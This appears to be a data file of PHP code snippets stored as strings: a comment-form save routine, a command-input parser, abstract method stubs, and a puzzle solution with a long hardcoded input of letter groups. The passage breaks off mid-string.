{\n\t\t\t\t$outputFormatting = $this->page->outputFormatting; \n\t\t\t\t$this->page->setOutputFormatting(false);\n\t\t\t\t$saveOptions = array();\n\t\t\t\tif($this->options['quietSave']) $saveOptions['quiet'] = true; \n\t\t\t\t$this->page->save($this->commentsField->name, $saveOptions); \n\t\t\t\t$this->page->setOutputFormatting($outputFormatting); \n\t\t\t\t$this->postedComment = $comment; \n\t\t\t\t// $this->wire('session')->set('CommentForm', $sessionData);\n\t\t\t\treturn $comment; \n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}",
"public function handleInput($input)\n {\n $input = strtoupper(trim($input));\n $input = preg_replace('/\\s+/', ' ', $input); // Remove any extra spaces.\n $input = preg_replace('/\\s*,\\s*/', ',', $input); // Remove any spaces after comma\n $args = explode(' ', $input);\n $this->command = $args[0];\n if ($this->isValidCommand($this->command)) {\n $placeArguments = [];\n if ($this->command === self::CMD_PLACE) {\n $placeArguments = $this->handlePlaceCommand(isset($args[1]) ? $args[1] : '');\n }\n if ($this->valid) {\n $this->processInput($this->command, $placeArguments);\n }\n } else {\n echo \"Please enter a valid command.\\n\";\n }\n }",
"public function getParsedInput();",
"abstract public function process();",
"abstract public function process();",
"abstract public function process();",
"private function part2()\n {\n $this->start();\n\n $lines = explode(\"\\n\", $this->getInput());\n\n $result = null;\n\n foreach ($lines as $io => $line) {\n $trying = true;\n $linesToTry = collect($lines)->filter(function($line, $ii) use ($io) {\n return $ii >= $io;\n })->toArray();\n\n $sum = 0;\n\n while ($trying) {\n foreach ($linesToTry as $itry => $try) {\n $sum += $try;\n\n if ($sum == $this->firstAnswer) {\n if (! $result) {\n $contiguous = collect($lines)->filter(function($line, $index) use ($io, $itry) {\n return $index >= $io && $index <= $itry;\n })->toArray();\n\n $result = min($contiguous) + max($contiguous);\n }\n\n $trying = false;\n break;\n }\n }\n\n $trying = false;\n }\n }\n\n $this->finish();\n\n $this->addPart([\n 'table' => [\n 'headings' => ['Part 2: Answer'],\n 'data' => [[$result]],\n ],\n 'time' => $this->getTime(),\n ]);\n }",
"private function getInput(): string\n {\n return 'edmzkxfoprcnhijtyvl\nadxntojykfcvzermplh\n\njbhpksufcaty\nhevsuaibjkt\njbusytghak\n\nixpckvbrylgtdm\nhpyojlsgibtvc\n\nsga\nsag\ngsra\nawzgs\nsga\n\njnwcqfisokbgmt\njmtcubwnsk\nbmwkctjsrn\n\nekxwotiyfhagdlmqn\nhpvedxwscgqjlkrf\n\ndrtguxboe\nuxotwejgibfdrn\nrkgxbtaeoupd\nkohedbgzurtx\n\ndi\nwhdg\nd\nd\n\npukeyxjrvmowta\nejyxrwopkhtu\nupojtrxyekw\ncjxubkyetrowp\ntgxwyorqnejiufzkp\n\nnqbraty\nybrqna\nqyanbr\nayrqbn\naynqbr\n\nezljbkmhionfqv\nhxvtnjqr\n\nfuwsngzivcjrk\nkprjnfucziv\n\nwonvukgls\nwkoslgvun\nkusvtolgnw\n\ntieldgxmys\ndilexmyrvsqj\ndlxyiems\nsylxeimd\n\ngfapnyrzlwhscjmixb\nyramfspwnicghblxzj\nrnwmehkbjzpalgyfiscq\njfyclgmabhrizvwpsn\ngzsahifrytmjlnwpcb\n\nwfyrobghlqcjn\nyzwhfjlocgqmbn\nyqgojhlnwczfmb\nwhlozqfcmnjgby\n\nenvihwzxs\nivsw\niwsv\n\ngjocrpmlhnkbxevdsztq\nrvoecmjbgndlswphzktqx\n\nph\nhp\nhp\n\nvmzyftwk\nvtkfemzwy\ntymfwkzv\nktfvwzmy\nkwzvytmf\n\nyntcgdfblkz\ndykfcmnltbz\ntmzdnylbfhck\n\njyuwnazhbtrdvlfcoxmi\nmlxowqarbhnitjfvcduy\nhvbjknialucoptxysmfgdwr\nfihbrodmtjcxvnwalyu\n\nxdicwhvujszagmey\nczjrmdyauevw\nmuweycajzpvd\nvayjcwedumz\nuwyvcedazmj\n\nzqniybfcr\nrizunqtpcyf\ncqyizrnf\nfirzchmlnqy\n\nckezaduhtxoilyn\nkliuytzonedax\nulkxznteiydao\nuanxdpetzlyiwok\n\nopgmiufxdkw\nonfuxdwmgki\nfiwxmokdug\npfdiumwyxgok\nfodxuywmigck\n\nfg\nzgfb\nufg\n\nz\nze\naz\n\nscwqjukmhplzxafiyvdtr\nmpwyerhvqzbfcdikxualst\ngkzrwpcfnqvxtiyuodlsam\n\nenzt\nyzprno\nmcanslzq\nzonr\n\nxlsqjnuobfymtd\nobtueyxdjkciafqnlmz\n\nfcowy\nycfow\n\ntimwqdnebkcsajpolr\nhycqdueti\nctgyvidequf\nxiuecdtq\nviqetcdz\n\natlqfdinogrbm\ndrgqxloektiambu\n\njd\njd\ndj\n\ncknxalfwburopditehsyz\nwtigkfzlchsrnybuoxaepd\nvaponqfukzcsiybrljwedth\n\nrxhuz\ndrzhkxumtginj\nrcaxzohevyu\npszhreux\nruxhzpy\n\nceanhqvbtkgiplr\nmlpithvrkcaqng\n\nlageimuyjxntbwphfs\ngpnihamyelxbwsu\nyxmiswngulepabh\nwxsbnhpylmgaieu\nayximuwebhpnlgs\n\nbegmvrkqptz\nhwsfjlxdciyaun\n\nprmkvejosyubtnz\nrkeoynmjavzspubt\nhuomzbtnwyrepsjdvk\nebskrvtzjmyuopn\n\nugmwobeiyqtckszvpaxn\nsivuazqotwxykcpmbgnhe\nugovsircnmqztplwayxbke\nsxibehutwazpgqynkmvco\n\ngmfipesaykorxbwjl\nojlfpxwgrnikmeyhqsba\n\nc\nc\nc\nm\n\ndapbveo\narmnqopxhvie\naptebovd\nvpoeza\naotwfepsv\n\ni\nic\ni\n\npftbquhlydrs\npostnjxlihagdzbywce\n\nxcivfymjdrzhesqb\nfzrcmjhbsviqyxe\nvimlnscfwxbyrhjqupeo\n\nf\nf\nf\n\nusnh\nrmupglay\nuqv\nuqw\n\nldb\nld\n\nsbrqvouly\nsroylqf\nqsryitoe\n\nwntmgqjauybzoldvfck\ngldqtkbaeznufwymcj\nlrchunbjgdykzawtqfm\nmcabflwtyqujngkdz\n\nrofcihkmqbwgtexjavnz\nqfagcjxkhmiotbvwnrez\nntkqjiyzvboafewhxrcmg\n\nbv\ntv\n\nwtvepsd\ndyzhir\njbqclkxnmguaof\n\ngzbtsreonmhxlkijpqu\nkxhmltszqpnorujbige\n\nhpeakzrxymigovt\nvrtxgmkoyapz\npgzrmvyoakxt\n\nlbygrmxoivfucw\nrcjivowfgblmxs\nrxoiamvclujbgwsf\nxvrfpibeclnmwot\nlofcxrivmwb\n\njhxbfydcqw\nmsoagpirvktelz\n\nwczxsbnqe\nzirqonwpbxe\nnqwxsezb\n\nydwo\nydp\nyd\naxdsvhjmfy\ndy\n\nrxtujw\ndoahz\nrtsym\n\npbic\nbc\nbc\nbc\n\njxsbfr\nbcsrfjx\nsrixvdnbwzj\nrxmakbsj\nsxjmrabf\n\nwruifa\nrfa\narf\nasfr\nfra\n\ngyi\ngiya\nygain\nkigy\n\ntqoxh\nlhetqrm\nyxvtkqfdh\n\nytkqvup\nmkpuqv\n\njreztqmwvgisnh\nbyrhwtzedsq\n\nqjo\nojq\n\nxbhzsotugeijrk\ngkziyorjuxbepds\n\nkusymzbclghf\nquchlgfkzmyb\njurvyclihkm\n\nwhvkxzmrl\nkrszxwvmhl\nzrmhlvwskx\nmkxrwylovhz\n\nsakfigdb\nafskgb\nkfagbs\n\nvnyo\nuxwoyn\nsbpzn\nimgtna\n\ndqjtmskpzify\nktjmeorfaipd\npmatejdofki\nfjlpmidkrt\n\nhauldscwin\ntdarhinu\nnhdfuavir\n\nhinbmavoc\nvirmshcazb\nhavkrcomib\nviabhmqc\n\ntawexm\nxmatew\n\nopg\ngpo\ngpo\nopg\npog\n\nvkbznjquy\nqznuvkyb\nkvuqznaby\nqkvuyzbn\nnqzyvkbu\n\nocansuzdmvwei\nhasyfpwqj\n\nvmj\nsknpejom\nvjchumg\n\nmhws\nhmsw\nshwm\n\ntcpbdzvarixyj\ndxupoyqfwnkvesbh\n\ndm\nfomdg\ndm\n\nyz\nzj\njz\nvlztahq\nfizg\n\nitvnmlxphycf\nfzmcpvxhnityl\nclpfnhixvtym\n\nremig\negu\nstzcnbye\noie\nlepag\n\ntzsnfhweuqvoybjim\nvxzmptudbrowfyneghcq\nywmlhaotnzfukvbqe\nqltpcbwvmeuazrfonyh\n\nhcytfwgve\ndycvepxlhzfngws\nvwtcgyfhme\nwfgeyvhc\ncyghwfev\n\nlzhbuc\nqeczhl\nkpfzvhjyscxlita\nlzdqmgchn\n\nqyzgcum\nalwesq\nbqy\n\nguxcprsfqezajltmwd\nrqltsuzcgamxjfwepd\njfmuzeswdqxalgrptc\njtelwdfcrpagxsumzq\niaqjxeyclgprwmzfsduth\n\nzcghqfuprlavsjbktxoidmenwy\ncxbmwnlogdiqrhujpfsyzketav\ncnaugxstkhizjodpwrqlefbvym\n\nsgvfzhp\nfwnghspu\nipsfgah\npuhfgns\n\nprtxkifmoyqwbdsh\niryxfhobqstkdm\nfmtkdsyqrioxhb\n\nirfcynskv\ncenorvkisjyf\nsrfkvynic\n\nnjdshblezrfx\nfesodhrxn\nnqhiautvrscdwfe\nnhdreslxf\n\nrceub\nuabflro\nszvxtkyqngd\n\newobrfqcspym\nmpqcwfsoyber\n\nklrxyaf\nalrykf\nykaflr\nfakyrl\n\nezqwmua\nwamqeuz\neqmzawu\nmqweazu\nzqweamu\n\njkfqgzhlpwntmduoyscxbea\nznflctasoqekmbwhxdujgpy\nleqakghpynzjcboudwxfsmit\nczuyjtdpfxlhakbeognmwqs\nskbqeydcjlfoazmputhnxwg\n\nhaqvxtepiczsgymlkbw\nyusgxiaehlbzwmqct\ntqnxiylhmzcsgweab\nyiatzblcgxhmeswjq\n\nogzmupysnrt\nlugmkypqizocnvr\nsyfurgmpnhzow\n\npgrb\nopycugr\ntjrngadp\n\nswbkulnao\npmkdrbqyzonicuj\n\npfzl\nflpz\nvjzfpbel\nsfpzl\n\nyrboxuhknlwzc\ndbiurzxogajcpwyl\nxblcywuohrzm\nrxfowylzubc\nclxqeurwzybok\n\nearvompiks\nzrmsoieapk\ngekposamir\n\nmwvlrtae\nmlav\nlamiov\n\noghqcsvlw\nqowhgvcysld\nhqewcgvosl\nglqhkpcsrvnftwox\n\nmpajys\nmywpjs\njyspmv\nlpsymj\nsjpmy\n\nrebc\noxbwcr\n\nuctgdqwxe\nwctpdgjqxeu\nqryotwezfmgdixcu\neqxtwdaucg\n\nmotajvxdi\nnaxtduvoizj\nlpoxvgdsfyha\nwedvrocakx\n\nqorxj\nekqzpxj\njqx\n\nnxl\ncnlx\n\nfo\niot\nvuxgo\nuo\nxio\n\ngvjefxzi\nadsjpbchuyw\n\ngvbhodi\nogbhivd\nhdvugbio\ngoihdbv\nigbvydho\n\nkrdufhbgymvlxiqwepco\nldxuyefjoqzmr\n\nsy\nc\nnj\nn\nj\n\nqwiyz\nqwz\ngqkrwfzb\nqzawj\n\nbsax\nxwabskm\nbxjas\n\nfqpazsenjukgoyi\nugznyxfqkaopesi\nqysokeapnuifzg\nepfaqiyugnsozk\n\nvrxpusdht\nphuxsvbn\nahfyvpwislmc\nsjqkdpvh\n\nunkgmj\ngokmjns\ngkjmen\n\nskuznvcheflqrpygjm\nyjfqghzmdplsnvcuer\nutboqrgvlfzjcmxnehy\n\ni\nfi\nib\n\np\np\np\n\njfwtyhdvugirql\nfvhyjwtumrqgidl\nfjwayensghtikvqlurcx\n\nqb\nbq\nbq\nbq\nbq\n\nuyxp\nxpyut\nxytpu\nxsuypc\n\ng\ns\ns\nlp\n\npwugetkcb\nkpbwtegnuc\npekwutbcgv\nknwgbeputc\n\neouscxlnt\nepagmtcn\n\nxlmyghutcbkif\nbqgmlkvdhrxc\nalonbpzhsjwg\n\nmkhsnzxbjo\ndyvgielqcpfrw\n\nyftilrxcavjgkue\ntkrwlzqnmophbdsj\n\nitmfbkclyzushnqex\nixbtdfqzlsychuveokm\nbfhqejyzclusimapxvkt\nlfqschwueztbxkimy\ntxsmcbqlrgzfiykehu\n\nyvubdecpxqrhizltskomfj\nvrmytoujzcghwlxdbqsefp\noavjfzndulcbsqrhmytpex\n\ngkrym\nyjtpbkhr\nykidmr\n\ngumiaoex\nmacfxhie\n\nqbtgemyrwnalj\nraetqlnymbg\nltaomngsbyzerq\nretmybagnql\n\ntvoxad\ndxavjo\noadvx\nxoadv\n\npcbxglukra\nklrabgcp\nrbzkadlpgc\ncgblxpkra\nlcbrpagk\n\nzeaxivumdroypf\nuakymxzoirfpde\npexaoiyfcudjzrm\n\ngjomtlsxyfazdcnrubq\nlydrncfamouqxtsb\ndqxybsfnglmrctou\ndlpoufkbqxnyermcst\n\ncrbwqjdifg\nivrjqz\nqoihjr\n\njm\nmj\nmj\nmj\njm\n\noshtbargiydzq\nospmtardbhqfyiz\nysdhkitabproqz\nshjyodqbatmizr\n\njxizf\nkrhizdp\neiaqz\n\nzfebwrltvjns\nxpdfvumj\n\nsqk\nsk\nsk\nksf\nsmk\n\nmtrqb\nqai\nlq\nxqhnk\n\ngu\nugp\nug\n\nklvxuwscg\nkvgslxwcu\nxcgwulvks\nwulgxcvks\n\nwmnhyu\ntdyhxvkc\n\noaq\noqa\nadqo\naqo\n\nnyi\nwsl\ni\nri\nzf\n\nbtfdzqxpskhviyo\nagjyxruvpdilqoswk\n\nfwcsbydqlkipejh\nehbpidfwjkclzys\nlfwmdepbhjiakvsy\njedyfwpgbihls\ndtisfhlpuxjoenwbyr\n\nveifzdrlqxn\ntckliywjhngobap\n\nwgnmsp\nngmwps\ncmsgnwp\n\nzxvljcnetoakbfqw\ndzjfovcexgbaknlqwt\nqelvwxckfbtnaojz\nwtockbxaezvfjlnq\n\ngmceodryf\ndmfbywnvus\n\navx\nxav\navx\nmzxav\nxva\n\nctmiqovawrydlxbekh\nbydemtwcoqrklhiavz\n\ntwx\nxwq\nmdvfowhk\n\nfgqwkstldzmcxon\nzmdkxfgoscqwltn\n\nvylsuqgaripwxbohejzk\nrofkhzuqxbwsvpagyt\nkvpswrhoaygzbcxtuq\ngswqzhxofprakvuby\n\nx\nx\nx\n\nkwcsmgzxfqdiorab\nkxdawsocqbr\nrhxvoastqpdcubkw\n\nbfeaqczjvt\nazkjqwoercf\nczastxvnmfjqeyl\njeqafzcxnst\n\ngpemfwkaz\npmgwzeka\nregzaonyc\n\njhmaivsq\npaxqsbev\nvaiqs\nsqvhia\n\nabqnlgzroie\noigbzqlnuaer\nljobnzayridqgce\n\ncndveqaglm\nmeaqndljvcg\nlnvcdagqem\n\nnyklzsdig\nbgxhqidzukln\nnzlykdigr\n\njwqmrfcvay\nrylwfmavc\n\nrwftqvskhylxmbae\npgxlzaywnqorvhfmitskjc\nybarkftwvdlqxmhs\naqwvtuxfslrkmhyb\n\nn\ny\nnp\n\nnefprhauytbcoz\nrucpehbntoyfaz\nhezyucarptonbf\nrahfuxtneyjpzobc\n\nzkwylmvsi\nhxakrjm\nrktm\n\nzgfhmak\njqhukg\ndxnshlvrpgbk\nkhwzytge\n\nlkry\ndykltxnor\nkeulrbqm\n\ntd\ntd\ntvxgdamz\ncdtp\ntd\n\nxdhmnfgbkjaursotl\ngzaonesmkjrxdhclb\n\nwsixtvoqm\nnlbkf\n\ncxilrsjbzquov\njqcsirybxovluz\nvxruqzsijlboc\noxqvsiczrujbl\nbhulrzcxivqosj\n\nwiylpn\nnlpwi\niwnlpk\n\npniluyobxfvzdta\nzmweqgkchrodjtisnu\n\nrplgxefjosmhdkuzn\ncdbpszvhtrawjyqgi\n\ntweaqxrbf\nqyhrkwbuftxea\neyqaxhwftr\nfrwtzqxane\n\nyqcvukg\ncpuvgkqyo\nvuqckgy\ncygukvq\nkucqvgy\n\nnagfcwoyuplivxzsbe\nxzswvyianfbepuolg\nxaovpibgzufnswley\n\nqpgre\nruqe\n\npc\ntpwaroqsc\nncyzbiehplfg\n\neykizclxhovd\nkzlcxhdvyeoi\n\nm\nm\nxm\n\nteyvjkxclfiazshqdrp\nzkjvflpqyretxdisa\nyetspzadjxvkirlfq\n\nnqjykmcu\npkytihj\n\nqypkcxsoetmvnwarjiu\ntkfjapegswrbqndzlmh\n\ngfatnypkol\nobasqczptgnik\ntgmkewxupojanv\n\nkn\nkn\nkn\n\nmwjcfkgy\nwfncjkgmyt\nypcgmxwsfj\n\niqsbwkyezrhfc\nrhwcqkbefszyi\nkibyzsfrhqcew\n\nopxftzlyceqvnahg\nxncgzyqeathbopvl\nnyzgfvxdcapeqhtlo\njycxtvlqonezpgah\ndhaytonpelgcvxuzq\n\nvjcwy\nvw\nvwmps\nkzdwgievaxh\n\nlp\nm\np\n\nmxraeksqfvozb\nlyxsfbkiramh\n\nk\ndk\nqki\nk\nk\n\nclgqtvawnzop\npnclqvogzyjswta\nxzqcmnlwvaoigpt\n\nhtv\nvht\nthv\ntvhdw\ntvh\n\nfontbezgmcwli\nclgezmnwfit\ninzgceflmwto\niwtmncvrygze\n\nzhotuercknvpfwal\nnklerdafopcuvwzh\nphvwkfeazoucrnl\nfncorhvpkeauwzl\n\negqjtbi\nxgmt\nlpudwoakt\n\nnzpyhsfbijwelckumxv\ngcwbmzpxlevjksnfyuhi\n\nbrivn\nojrinbv\nirnbv\nirvnb\n\nxziegsqjdy\nxsyiedqjzg\ndgxizjsqye\neyidzqjgsx\n\ncrmdneqtojv\normadvcj\nlokzjvrcwsm\n\ntaqlnfvh\nylqnvfhtaps\n\naghxmfuo\nhgmrfoux\nguxohcmf\nfxgumcho\n\nw\nw\nw\n\nlxw\nlwx\nwlx\nwglxo\nxwl\n\ngajyxn\nagjnxyu\nxgjayn\n\nfporwxgqdkih\ndovpaeythlnwkz\n\nhkmut\nuitmkh\nhtukm\nthkum\nmkhtub\n\naepugjlmbkrszfv\nmoflauznjbrp\n\ndwl\nhdwf\n\nmdpyheoa\nopmayd\nopadym\nypdmao\nyomadp\n\nvt\nlh\n\nfc\ncf\nfc\n\ngcspkvqxzntea\nvxztpqcbsgknaeo\npacmnsezkqltgx\nvextncpskiazqbg\nxcngdatejzrspq\n\nazjuwiqtgxysvkh\niayswhobudktr\n\nxbeijk\nbjxeki\niekbxvjq\nkixejb\nebxijk\n\ngi\ngi\n\nebgutwnkjx\njbkzgtnaxyewu\n\npasecmxbjrtvqkznwgh\njcrmpagzvqhetoksxwn\n\nglcverqzhbdij\nljzbgiqhecr\nbcgqzerijlh\n\nsbkjoza\nas\nseqaw\nhags\nqas\n\nswcbpyi\nipcswby\niwbpcsy\n\nx\nx\nx\nx\n\nlnju\nul\n\nhfvimysr\nhfryisvm\n\nqhzdvuiacyxw\nkqbdwfizyvua\n\ntxeouhancpqbgjwlkmfs\nmdbhoapjuclrwsngftqex\necijlguqfbmwoxnaspht\nqapehxvtoclbuszmjynwgf\n\nmtuilgpbkjnav\nvktduhmynlabj\nvujxmtikanlb\n\nmcrebzdwvxs\nkndlxj\nnxtad\n\nw\nlq\n\nbdajvilhso\njisoqhld\n\njurqv\nuhs\nspuh\n\nkuwgybfixdzs\ntifnobygwlpeqx\nxbihfwvygjda\n\nhckgfqlbo\nntgklfbhrqso\nzkjgoflqbh\nckbqmgfohl\nfwqkolbgh\n\nstan\ntsaqnd\nsant\nasnt\nntas\n\nrfxqzjdvy\nzrjfx\njbfrxz\njrzxf\nrxjefzg\n\nixql\ndtqrs\n\ndbhkjqez\neqcdjbnk\neqjlbpkd\nhqjdbeyk\ndjoktmqsawbuexfvgr\n\nxfzwparuv\nwxrzknavo\nxrazwpsuv\nrwxmtaivz\n\nqhrzt\ntdyuamxrnihc\n\nojc\nj\nj\njr\nrj\n\nipgxrlsakotynbmv\nbgortknxyuplmsiv\n\nqowdhilapmk\nlwaqkhpimdo\nikpwmqcdgohal\ndpilrwaqkmoyh\nmanlwoiqphdk\n\nb\ncb\n\nswqtmuhygd\nnxqgsyehdtumwr\nstgudwmqhfy\ngytmswhdfqu\nmwhtydgqus\n\nt\nvb\nim\n\ndrxzwkcg\nxdzr\nialdzxr\nzdxr\nrxuzd\n\nfzlpvcm\nfvoplc\nbcflvp\nvyfipcbl\n\nopfkbmxsvznguaq\nmpufsqbnvgxao\nsmxgofbnaqu\nrqoadwbhxmngusf\n\nxpelhcvbgfwzos\nlosftcbpewzmxhy\n\nkvjia\njviak\nkavij\naikjv\n\nukp\npku\nkpu\npxku\nupk\n\nnahgyxbfijdzukrtlewvc\nilrhdujgvcaywbfxkto\nugdrxacbkwthofjylvi\nxdtaiuhjcvfgkyrblw\nubhrwaivcfxdkjgptyl\n\nwbs\nws\nwzpjs\nrsw\nswx\n\necovmudkg\ndckvuomge\ncgeduvkmo\nkexrumgcvold\nogdvcmkeu\n\notzhibuwylnpdjk\nfqesgmvcx\n\nuhibntjedrqlkza\nzutlekqijbhadnr\nlrudvhnxtqbejiwkza\nknqdjlhzbrtuiaes\n\nlzucndsk\nkudnslz\ndculwnzsk\nunpzdlcyk\nqutlnrhdkgb\n\nimvdyc\nuym\nmyrebic\njywxqosan\nbiry\n\ne\ne\ney\nm\ney\n\npu\npu\nup\npu\nup\n\nnxywbazjhfpmqrl\nptlnhfrjzbqioy\n\njhqrpnacxktuywmzolbgid\nrcldaozfinhtywukjmgxpbq\nxknlraouiemtcjwypdvzgshqb\n\nhjtbfsawmyqreuxzp\nzkmrxelqbfgaijyucvws\n\ntmuodpivjkbesrnxwhgqly\ngkhvptmqodbicuwjsxlr\nupilsotvgqmdbjxkwrh\n\nuchfkdwgvoysazr\nekgnrmjidtphxzlbq\n\npeynjb\njdetnbha\nqknrlxemosb\n\nokcxgpmeva\ncamkegoxvp\n\nivetwsloarduh\netsdjwviqoau\ntsmfwviponeakxdu\n\nvxoukn\noxvunk\nuonxvk\n\nl\nl\nl\nl\n\nxpates\npnavtsw\n\np\nw\nu\nw\nz\n\nerqphaigsvmkc\naigprevkqmynhsc\npdarkzqcsvbgmeih\ngpiemhafqrcksv\n\ngnfxpcvhyeqklb\nnlyegofxhcpkb\npbfckgywxnlhoe\nlkshmjptifecnydugxbza\nychrlgnobxkpqfe\n\nfswnqiyamkrthzeudxlgvocj\nytdzglurakxihjcnfmvesow\nwtclfvjgmksuinzxehrydao\ngkhzvswmiayludfcexnorjtp\nzudegfksxvlnarctwmhyoipj\n\nhkvuctrxgeqbapdsw\npeqskrducgvhxwj\noiqmhekpwvxdcg\n\nvxzygrsldmjoq\npmbfvrjzktnsyql\nrdymqlvjwzs\nzomcjlqyrvsxg\n\nt\nx\nt\n\nhidmjcszvwtyulexap\nvxpuhsmtiecygjarzd\nyipxsazecjhtvdmuk\ntveujidzswpmhbycoxa\n\nbjhowspnxqrilgckzvya\nlycxpnjrbvghiwzkoqdas\ngnljyzbxswqvkcaoprih\nurpoiljxsvagbfkqyhzmcwn\nlnjxibqrcpvgszkyhaow\n\nrxdjupsboghfyqk\nghpcktodiysbaf\npygdfskohnrb\nswohdkpgbxmfyez\n\nqfoyjsuiwglp\ndsajgouipqfeyxwl\n\nybv\nsh\n\nakgwp\nneftcidsmlxvyu\njpb\npwr\noghzqr\n\nm\nm\nwm\nm\n\naesucfwnbmzjixol\nlwcsejaniomru\n\nskrij\nrjisk\nieszonkrjbv\n\nsqil\nweulqzi\nsqicyl\n\nhcouimv\nmoiucvh\nouhvimc\niuochvm\nugihomxcv\n\nxcdq\nkvlwysm\n\ns\nd\n\nfaqkwzdphtslbrm\nbsmryfzpkohlnaq\nuqghrailbmpzfjsckxv\nskdempaqhyflzrb\n\niftersaovkmq\nitrosfkmvaej\nbavftmiosrke\nkuvtrsoajfmei\n\nqi\nq\nqiw\nq\nqx\n\ncbmhaqsynzlkep\nebclhpqsnamzk\nkbeunmspclqhaz\n\nk\nk\nk\n\nlsjd\ndjls\nsldj\nsljd\n\nm\nm\nm\nm\nm\n\ntnkdizrqy\ninjdbgtk\ntcisnwa\n\noimrgebk\nobjmgrik\n\ngzpfiuentbvyrcm\nzcysfenlprbutmvg\n\niakzlspqyfdoxghevnwctu\nvuwhodnxyfqagtzpsceikl\ntflnyxasiozdgcvuheqkwp\n\na\npygardx\neau\na\n\nmaht\ntpmh\nhmt\nthm\n\nociwpsvnjykabufmrgezqldh\nfamcsnzgvlebjyhroqkpdiuw\nzvojpcqiufwkrgydnasemlhbt\n\nupkhlt\nslea\n\nwxukirhvlfmgo\nexykvrhugdblomfw\nhlkizfomvgrwxus\nsholafwvmukgrx\ntxwfsmurgvkohl\n\nju\nl\n\nwzpf\nqwmef\nwfe\n\newmxovgbcnijhyk\nuklrsgdyzcaeft\n\nbaflvedsuohztjx\nlqvzgwxsatefdc\nsaxbltdefrivz\n\ncdvmaqkngy\ntfrdgkam\nagdpmkys\nkdmcjag\n\najnpf\nfnpaj\nfnjap\nfpnaj\n\nwaslqkuv\nuvwsjakmq\npvyuitqrbwcagoxkzeh\n\npcaowt\noptca\npacto\npoatc\n\nephg\ngphe\ngehp\ncespgh\ngphe\n\nbcpo\nedcps\n\nfamtdwsbrznj\njdznfrtwmbya\ndfrmjawebgtphnqz\njzmnrtafudwb\nrbaznwtdjmf\n\nqmyhwgtcepkd\ngkdqtmpyfw\npurgdkwoqmtl\n\nzhvstamfpdc\ndtszpcfvamh\ndzvhftcpasm\n\nrgwyks\nyhkgfwre\nyrsgxo\ncadirygtn\n\njzdatumwe\nhclk\nxirsyv\nfcbkng\n\ndtmkaiubljq\nmkivbojl\nimkjbl\neklmijb\n\nyjtp\ntjy\n\njvipbosutw\njosgipwkutzb\njsupowbrti\nbpikjtsouw\nfojtpwbsaui\n\ne\nehg\nfe\ne\n\nfbdpoau\nijhroufmvb\ncfbtoul\n\nrwxplh\nwhpxlr\nwxlprh\nlxwrhp\n\npncagr\nrgnclpa\n\nvhjyokxtbpu\nskuwogrqa\n\nyratqdoxwcpk\nsorywjbenudlxhvapi\n\nevsktdfwogcuh\nzidwgnrcelxyvjmkp\n\njcezwrigomdt\nhzcdjtiwre\ntczweijdrh\n\nukcewyhfsapozlx\nwciopgukxheylazf\nlwekafhuybozxpc\nwyhupafeclknzxo\nezcxlkphouwfay\n\nklfjutwxnhvicympbdrz\nnpkzcituovfldxgbhwjms\ntxhwjkifmvuzbdcpln\n\nifr\nup\np\np\ngswo\n\nxkimf\nmxikf\n\ntd\nneqdi\nwfz\nlbsahjokvmpry\n\nwez\nwez\nwezr\nzwe\nezw\n\nstfjbc\ntwfjbcs\nbstjfc\ntbsfjc\nsfbjtc\n\nasjbkpugrnteyfcomdlh\nyoadpfjmubrkltgcneshz\nlkrfnpmteyjcsubgzoadh\nxghijfescdwtoykpabumqvnrl\n\nug\ndu\n\nqrvyi\nnv\nv\nvhz\nzvm\n\nuoblqtenkysjdcwmraivfgpzxh\npckigqsolvfnmjauyzhxtwdebr\n\nwdkrlgqmvuhicnxebatj\nrcdvkftqnuiewh\ncntediyvhwukqr\nvrhqpsiounecwtdk\nounreidwqchkvt\n\narelvfzbhkdinoxtgjpcsu\nszocvdbfjhranixtkelpug\neinpchxzdrktlfubgovjsa\ncvbnriuosehxjgdlkpztaf\nuzdfcxejbhtvolknrspiga\n\ndsxcfuzphk\nroifcp\ncyifvop\n\njmil\nlimj\nljim\n\nsmrjzlwuikq\nholtfauyim\numncpieftbl\n\nkq\nwkq\nk\ncktp\n\nzoncjltqxyhasigkfwurbmdv\nuhbzojkagtxcvdrwlsfynqmi\nxhlyswojgrzcvktbfqidaumn\nqtgswjoaivybnhcfrxklmduz\nnhvwitqxalkjrdmsguofcyzb\n\nsu\nnhu\nus\nu\n\nstxofjnyvhizmelagbdwpuc\nrbfnweycogqztipsaljxkd\n\nrmyclkwgqfheja\nqgjucrzyemlwakh\nkphqegadcwmuryj\ntaxrkcevbqghjymw\n\nlugcahsyrjnoxpzem\nespgjrnyzcuhmlaox\njmgrcnsazoehlxup\nnfepgjluzhcadxmrso\nsrlnjcpzmeoghaxu\n\nbcqrkadhz\ndcbhkza\nhzndimkac\ndqkczhba\n\nqglersz\nvszlehq\nzfjueilqsd\neszlq\nzsqler\n\ntwcekgfq\n\nrcmyhawqtgbjiflpxezn\naelwqgjmtzycrfpnhxib\nxnrfbgjtqzyaplmchwie\n\nyhacs\nmawnvjkeyqcighs\ntuahycs\n\niw\ntdgkpi\n\nnizjlemapcwx\ntsuoqkjbhygdv\n\npyusefbwjrvgz\nbjfzpwsuyegr\njrsxohcegwfpzuyb\n\nekxdmsjzuntai\nzxdaujmtnikes\njndizketuasxm\nnjqakpsuzitefxrgdm\n\nehvknu\nhzukmn\nnbtdksxrg\nakn\nnaehok\n\nwipbuyzs\nysbq\ndxyqbjst\ngsyxdb\n\nsmhkvxwtgj\nhtkgmvqsxcj\ntujghmsxikv\nhxvsmytgkjd\n\nynm\nun\nykn\n\nqebgu\nqgrblhej\nuhrq\nmnfokqxy\n\nmcvy\ntsaup\nus\nkqhw\n\nvwm\nmvjwq\ncmswv\nvwjm\nzwavm\n\nenfqx\nenxfq\nfexqn\n\nxsmzl\nbqpoejwhzi\ngxzc\nrfzn\nzrv\n\noueayjq\njyu\n\nxrzqts\nrz\nyegnbuz\ncjqwzxisr\n\ndnwqumcg\nkntyfqhm\ntnmfq\n\nsy\nxh\n\nesknr\nbrpym\n\nsyh\nyia\nykn\nbpmyzo\n\nebhmyz\nmebyhz\nezhybm\n\nomzvarex\nmzoarex\nmrozaex\nzaomrxe\n\nfecarzihbklsodvp\nvdbhpaizlefrsc\nrfeiapvszdhlbqc\nsfpbaiqvchlrdze\n\nzvjxlgfokbhupn\naluigxdtwqves\n\ncseko\nose\necso\nwsegjoa\n\nbmdru\nnw\nnia\nija\n\nlnapozb\nanpbzolhy\nzrbajnluop\nlopznba\n\niuhorckt\ndsitafk\nxlkvefit\ndfikxzltg\nlktniv\n\nibgjqwx\nbiwqgjx\n\nofpc